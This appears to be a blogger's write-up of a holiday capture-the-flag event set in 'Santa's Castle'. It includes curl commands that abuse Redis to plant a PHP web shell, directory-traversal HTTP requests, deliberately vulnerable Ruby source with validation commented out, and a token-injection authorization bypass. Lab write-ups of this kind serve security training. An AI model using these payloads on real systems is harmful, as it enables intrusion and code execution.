My Journey into Santa’s Castle
INDEX
Terminal: Investigate S3 Bucket
Terminal: CAN-Bus Investigation
Objective 1: Uncover Santa’s Gift List
Objective 2: Investigate S3 Bucket
Objective 3: Point-of-Sale Password Recovery
Objective 4: Operate the Santavator
Objective 7: Solve the Sleigh’s CAN-D-BUS Problem
Objective 8: Broken Tag Generator
Objective 10: Defeat Fingerprint Sensor
CONTENT
🎯Objective 1: Uncover Santa’s Gift List
Santa’s Personal Gift list:
Open the image in Photopea (Online Photo Editor) and using lasso select the correct area.
Go to Filter → Distort → Twirl. After adjusting the twirl angle, I can read Josh Wright will get proxmark.
🖥️ Terminal: Kringle Kiosk
This was super easy.
🖥️ Terminal: Investigate S3 Bucket
Content of README file:
After executing bucket_finder.rb script, we found one bucket named ‘Santa’ but access is denied.
elf@4f16dec4601f:~/bucket_finder$ ./bucket_finder.rb --download wordlist
http://s3.amazonaws.com/kringlecastle
Bucket found but access denied: kringlecastle
http://s3.amazonaws.com/wrapper
Bucket found but access denied: wrapper
http://s3.amazonaws.com/santa
Bucket santa redirects to: santa.s3.amazonaws.com
http://santa.s3.amazonaws.com/
Bucket found but access denied: santa
From Shinny Upatree’s hint, I added the new word ‘wrapper3000’ in the wordlist and got a bucket.
I downloaded this file on my local machine, now it’s time to decode this package and find the message.
After printing its content I see a package file with a lot of nested extensions. So original file must be wrapped be by (at least) these encoding methods.
🎯Objective 2: Investigate S3 Bucket
→ The solution in Terminal: Investigate S3 Bucket.
🖥️Terminal: Unescape Tmux
🖥️Terminal: The Elf Code
Level 1:
elf.moveTo(lollipop[0])
elf.moveUp(10)
Level 2:
elf.moveTo(lever[0])
elf.pull_lever(elf.get_lever(0) + 2)
elf.moveLeft(4)
elf.moveUp(10)
Level 3:
elf.moveTo(lollipop[0])
elf.moveTo(lollipop[1])
elf.moveTo(lollipop[2])
elf.moveUp(1)
Level 4:
for (i = 1; i < 4; i++) elf.moveLeft(i), elf.moveUp(11), elf.moveLeft(2), elf.moveDown(11);
Level 5:
elf.moveTo(lollipop[1])
elf.moveTo(lollipop[0])
arr = []
ip = elf.ask_munch(0)
for (i in ip) {
if (typeof(ip[i]) == 'number') {
arr.push(ip[i])
}
}
elf.tell_munch(arr)
elf.moveUp(2)
Compressed Code:
for(i in elf.moveTo(lollipop[1]),elf.moveTo(lollipop[0]),arr=[],ip=elf.ask_munch(0),ip)"number"==typeof ip[i]&&arr.push(ip[i]);elf.tell_munch(arr),elf.moveUp(2);
Level 6:
for (i=0; i<4; i++) {
elf.moveTo(lollipop[i])
}
elf.moveLeft(8)
elf.moveUp(2)
ip = elf.ask_munch(0)
elf.tell_munch(Object.keys(ip).find(key => ip[key] === 'lollipop'))
elf.moveUp(2)
🖥️Terminal: Redis Bug Hunt
The following resources were helpful for solving this challenge:
https://book.hacktricks.xyz/pentesting/6379-pentesting-redis
In redis-cli, for command ping if respond is pong, no authentication is required.
So we need to authenticate to use redis-cli. Hence maintainance.php page is the only one to access it.
After trying the info command through curl, I see these API calls are executed by authenticated user/account.
After trying the below 2 commands,
I see I need to properly format my command to see the output. URL encoding is not working here.
After a few trials and errors, I found comma is working to execute space-separated commands.
And now I can execute the ‘client list’ command.
From the resource we can get index.php by executing the below commands:
curl http://localhost/maintenance.php?cmd=config,set,dir,/var/www/htmlcurl http://localhost/maintenance.php?cmd=config,set,dbfilename,shell.phpsystem($_GET['c'])curl http://localhost/maintenance.php?cmd=set,test,\\<\?php+system\(\$\_GET\[%22c%22\]\)\;+\?\>curl http://localhost/maintenance.php?cmd=save
🖥️Terminal: 33.6 kbps
[Not Solved]
🖥️Terminal: Linux Primer
This challenge was more of a basic guide for Linux commands. So I skip all the intermediate steps.
🖥️Terminal: Santa Shop
I downloaded santa-shop.exe on my Windows machine and extracted it using 7zip.
And searched for asar file and found app.asar.
In app.asar I found the password.
🎯Objective 3: Point-of-Sale Password Recovery
After completing the Terminal: Santa Shop challenge.
Password: santapass
🎯Objective 4: Operate the Santavator
🖥️Terminal: Speaker UNPrep
🖥️Terminal: Mersenne Twister
[Not Solved]
🖥️Terminal: Sort-o-matic
1. Matches at least one digit\d2. Matches 3 alpha a-z characters ignoring case[a-zA-Z]{3}3. Matches 2 chars of lowercase a-z or numbers[a-z\d]{2}4. Matches any 2 chars not uppercase A-L or 1-5[^A-L1-5]{2}5. Matches three or more digits only^[0-9]{3,}$6. Matches multiple hour:minute:second time formats only^(((0|1)\d)|(2[0-3])|\d):([0-5]\d):([0-5]\d)$7. Matches MAC address format only while ignoring case^[\da-fA-F]{2}:[\da-fA-F]{2}:[\da-fA-F]{2}:[\da-fA-F]{2}:[\da-fA-F]{2}:[\da-fA-F]{2}$8. Matches multiple day, month, and year date formats only^(([0-2]\d|3[0-1])\/.-[\/.-]\d{4})$
🖥️Terminal: Tag Generator
→ Covered in Objective 8: Broken Tag Generator
🖥️Terminal: Scapy Prepper
Task #1
task.submit(send)
Task #2
task.submit(sniff)
Task #3
task.submit(1)
Task #4
task.submit(rdpcap)
Task #5
task.submit(2)
Task #6
task.submit(UDP_PACKETS[0])
Task #7
task.submit(TCP_PACKETS[1][TCP])
Task #8
UDP_PACKETS[0].src="127.0.0.1"task.submit(UDP_PACKETS[0])
Task #9
task.submit('echo')
Task #10
task.submit(ICMP_PACKETS[1][ICMP].chksum)
Task #11
task.submit(3)
Task #12
task.submit(IP(dst='127.127.127.127')/UDP(dport=5000))
Task #13
task.submit(IP(dst='127.2.3.4')/UDP(dport=53)/DNS(qd=DNSQR(qname='elveslove.santa')))
Task #14
This was a bit time-consuming for me, so had a look at the hint.
🖥️Terminal: CAN-Bus Investigation
🎯Objective 5: Open HID Lock
Hint:
I captured the following HIDs from as many elves as possible, and stand at Door’s card reader and opening door.
Holly Evergreen
#db# TAG ID: 2006e22f10 (6024) - Format Len: 26 bit - FC: 113 - Card: 6024
Angel Candysalt
#db# TAG ID: 2006e22f31 (6040) - Format Len: 26 bit - FC: 113 - Card: 6040Shinny Upatree
#db# TAG ID: 2006e22f13 (6025) - Format Len: 26 bit - FC: 113 - Card: 6025
Sparkle Redberry
#db# TAG ID: 2006e22f0d (6022) - Format Len: 26 bit - FC: 113 - Card: 6022
The door unlocked using Shinny Upatree’s ID!
🎯Objective 6: Splunk Challenge
Question 1. How many distinct MITRE ATT&CK techniques did Alice emulate?
Answer: 13
Count total number of unique Technique names.
Question 2. What are the names of the two indexes that contain the results of emulating Enterprise ATT&CK technique 1059.003? (Put them in alphabetical order and separate them with a space)
Answer: t1059.003-main t1059.003-win
Question 3. One technique that Santa had us simulate deals with ‘system information discovery’. What is the full name of the registry key that is queried to determine the MachineGuid?
Answer: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography
https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1082/T1082.yaml
Question 4. According to events recorded by the Splunk Attack Range, when was the first OSTAP related atomic test executed? (Please provide the alphanumeric UTC timestamp.)
Answer: 2020–11–30T17:44:15Z
Question 5. One Atomic Red Team test executed by the Attack Range makes use of an open source package authored by frgnca on GitHub. According to Sysmon (Event Code 1) events in Splunk, what was the ProcessId associated with the first use of this component?
Answer: 3648
Search query: index=”T1123*” EventCode=1 AND NOT SplunkUniversalForwarder AND NOT -EncodedCommand
Answer is ParentProcessID
Question 6. Alice ran a simulation of an attacker abusing Windows registry run keys. This technique leveraged a multi-line batch file that was also used by a few other techniques. What is the final command of this multi-line batch file used as part of this simulation?
Answer: quser
Search query: index=”T1547*” .bat
https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/ARTifacts/Misc/Discovery.bat
Question 7. According to x509 certificate events captured by Zeek (formerly Bro), what is the serial number of the TLS certificate assigned to the Windows domain controller in the attack range?
Answer: 55FCEEBB21270D9249E86F4B9DC7AA60
Search query: index=* sourcetype=”bro:x509:json” “certificate.subject”=”CN=win-dc-748.attackrange.local”
All Training Question Answers:
Challenge Question: What is the name of the adversary group that Santa feared would attack KringleCon?
Answer: The Lollipop Guild
Base64 Encoded Phrase is: 7FXjP1lyfKbyDK/MChyf36h7
It is encrypted with an old algorithm that uses a key.
Key/passphrase: Stay Frosty
Hint: Decode that base64 encoded phrase, using the passphrase.
🎯Objective 7: Solve the Sleigh’s CAN-D-BUS Problem
Hints:
After filtering out the noise, my final answer:
19BEquals0000000F2057
080Less000000000000
🎯Objective 8: Broken Tag Generator
When I tried to upload txt I got below error. In error message it shows the path to app.rb (source code) and location where it saved my uploaded txt file.
So I captured this request in Burp Suite, and I was able to access the Local file system using directory traversal.
GET /image?id=../../../etc/passwd HTTP/1.1
Host: tag-generator.kringlecastle.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0
Accept: image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Referer: https://tag-generator.kringlecastle.com/
Samy way I captured app.rb (source code)
GET /image?id=app.rb HTTP/1.1
Host: tag-generator.kringlecastle.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0
Accept: image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Referer: https://tag-generator.kringlecastle.com/
app.rb code:
TMP_FOLDER = '/tmp'
FINAL_FOLDER = '/tmp'# Don't put the uploads in the application folder
Dir.chdir TMP_FOLDERrequire 'rubygems'require 'json'
require 'sinatra'
require 'sinatra/base'
require 'singlogger'
require 'securerandom'require 'zip'
require 'sinatra/cookies'
require 'cgi'require 'digest/sha1'LOGGER = ::SingLogger.instance()MAX_SIZE = 1024**2*5 # 5mb# Manually escaping is annoying, but Sinatra is lightweight and doesn't have
# stuff like this built in :(
def h(html)
CGI.escapeHTML html
enddef handle_zip(filename)
LOGGER.debug("Processing #{ filename } as a zip")
out_files = []Zip::File.open(filename) do |zip_file|
# Handle entries one by one
zip_file.each do |entry|
LOGGER.debug("Extracting #{entry.name}")if entry.size > MAX_SIZE
raise 'File too large when extracted'
endif entry.name().end_with?('zip')
raise 'Nested zip files are not supported!'
end# I wonder what this will do? --Jack
# if entry.name !~ /^[a-zA-Z0-9._-]+$/
# raise 'Invalid filename! Filenames may contain letters, numbers, period, underscore, and hyphen'
# end# We want to extract into TMP_FOLDER
out_file = "#{ TMP_FOLDER }/#{ entry.name }"# Extract to file or directory based on name in the archive
entry.extract(out_file) {
# If the file exists, simply overwrite
true
}# Process it
out_files << process_file(out_file)
end
endreturn out_files
enddef handle_image(filename)
out_filename = "#{ SecureRandom.uuid }#{File.extname(filename).downcase}"
out_path = "#{ FINAL_FOLDER }/#{ out_filename }"# Resize and compress in the background
Thread.new do
if !system("convert -resize 800x600\\> -quality 75 '#{ filename }' '#{ out_path }'")
LOGGER.error("Something went wrong with file conversion: #{ filename }")
else
LOGGER.debug("File successfully converted: #{ filename }")
end
end# Return just the filename - we can figure that out later
return out_filename
enddef process_file(filename)
out_files = []if filename.downcase.end_with?('zip')
# Append the list returned by handle_zip
out_files += handle_zip(filename)
elsif filename.downcase.end_with?('jpg') || filename.downcase.end_with?('jpeg') || filename.downcase.end_with?('png')
# Append the name returned by handle_image
out_files << handle_image(filename)
else
raise "Unsupported file type: #{ filename }"
endreturn out_files
enddef process_files(files)
return files.map { |f| process_file(f) }.flatten()
endmodule TagGenerator
class Server < Sinatra::Base
helpers Sinatra::Cookiesdef initialize(*args)
super(*args)
endconfigure do
if(defined?(PARAMS))
set :port, PARAMS[:port]
set :bind, PARAMS[:host]
endset :raise_errors, false
set :show_exceptions, false
enderror do
return 501, erb(:error, :locals => { message: "Error in #{ __FILE__ }: #{ h(env['sinatra.error'].message) }" })
endnot_found do
return 404, erb(:error, :locals => { message: "Error in #{ __FILE__ }: Route not found" })
endget '/' do
erb(:index)
endpost '/upload' do
images = []
images += process_files(params['my_file'].map { |p| p['tempfile'].path })
images.sort!()
images.uniq!()content_type :json
images.to_json
endget '/clear' do
cookies.delete(:images)redirect '/'
endget '/image' do
if !params['id']
raise 'ID is missing!'
end# Validation is boring! --Jack
# if params['id'] !~ /^[a-zA-Z0-9._-]+$/
# return 400, 'Invalid id! id may contain letters, numbers, period, underscore, and hyphen'
# endcontent_type 'image/jpeg'filename = "#{ FINAL_FOLDER }/#{ env['GREETZ'] }"
print "#{ env['GREETZ'] }"if File.exists?(filename)
return File.read(filename)
else
return 404, "Image not found!"
end
endget '/share' do
if !params['id']
raise 'ID is missing!'
endfilename = "#{ FINAL_FOLDER }/#{ params['id'] }.png"if File.exists?(filename)
erb(:share, :locals => { id: params['id'] })
else
return 404, "Image not found!"
end
endpost '/save' do
payload = params
payload = JSON.parse(request.body.read)data_url = payload['dataURL']
png = Base64.decode64(data_url['data:image/png;base64,'.length .. -1])out_hash = Digest::SHA1.hexdigest png
out_filename = "#{ out_hash }.png"
out_path = "#{ FINAL_FOLDER }/#{ out_filename }"
LOGGER.debug("output: #{out_path}")
File.open(out_path, 'wb') { |f| f.write(png) }
{ id: out_hash }.to_json
end
end
end
Final HTTP Request
GET /image?id=GREETZ HTTP/1.1
Host: tag-generator.kringlecastle.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0
Accept: image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Referer: https://tag-generator.kringlecastle.com/
Response:
HTTP/1.1 200 OK
Server: nginx/1.14.2
Date: Wed, 30 Dec 2020 09:17:18 GMT
Content-Type: image/jpeg
Content-Length: 17
Connection: close
X-Content-Type-Options: nosniff
Strict-Transport-Security: max-age=15552000; includeSubDomains
X-XSS-Protection: 1; mode=block
X-Robots-Tag: none
X-Download-Options: noopen
X-Permitted-Cross-Domain-Policies: noneJackFrostWasHere
Answer: JackFrostWasHere
🎯Objective 9: ARP Shenanigans
[Not Solved]
🎯Objective 10: Defeat Fingerprint Sensor
Normal user request:
POST / HTTP/1.1
Host: elevator.kringlecastle.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json
X-Requested-With: XMLHttpRequest
Content-Length: 63
Origin: https://elevator.kringlecastle.com
Connection: close
Referer: https://elevator.kringlecastle.com/?challenge=elevator2&id=596559dc-7121-4925-9664-0c5d4e14a314&username=gneelwarna&area=santavator2&location=1,2&tokens=marble,nut2,nut,candycane,ball,yellowlight,elevator-key,greenlight,redlight,workshop-button{"targetFloor":"2","id":"596559dc-7121-4925-9664-0c5d4e14a314"}
Santa’s request:
POST / HTTP/1.1
Host: elevator.kringlecastle.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json
X-Requested-With: XMLHttpRequest
Content-Length: 63
Origin: https://elevator.kringlecastle.com
Connection: close
Referer: https://elevator.kringlecastle.com/?challenge=santamode-elevatorr&id=ff50c3e3-9d5f-4ed8-a002-ebb98f1803a3&username=gneelwarna&area=santamode-santavator5&location=1,2&tokens=marble,nut2,nut,candycane,ball,yellowlight,elevator-key,greenlight,redlight,workshop-button,besanta{"targetFloor":"3","id":"ff50c3e3-9d5f-4ed8-a002-ebb98f1803a3"}
I see one extra token in Santa's request (highlighted in bold).
Also, After checking click action on the fingerprint scanner in the elevator’s panel, we can confirm that the web-app is checking the presence of ‘besanta’ token in a request.
A snippet of source code:
<snippet>...
cover.addEventListener('click', () => {
if (btn4.classList.contains('powered') && hasToken('besanta')) {
$.ajax({
type: 'POST',
url: POST_URL,
dataType: 'json',
contentType: 'application/json',
data: JSON.stringify({
targetFloor: '3',
id: getParams.id,
}),
success: (res, status) => {
if (res.hash) {
__POST_RESULTS__({
resourceId: getParams.id || '1111',
hash: res.hash,
action: 'goToFloor-3',
});
}
}
});
...<snippet>
So I checked for tokens list in source code and added besanta in token list.
And then after clicking Finger-print scanner, wallah!
I got access to the 3rd floor as a normal user and the objective unlocked.
🎯Objective 11a: Naughty/Nice List with Blockchain Investigation Part 1
[Not Solved]
🎯Objective 11b: Naughty/Nice List with Blockchain Investigation Part 2
[Not Solved]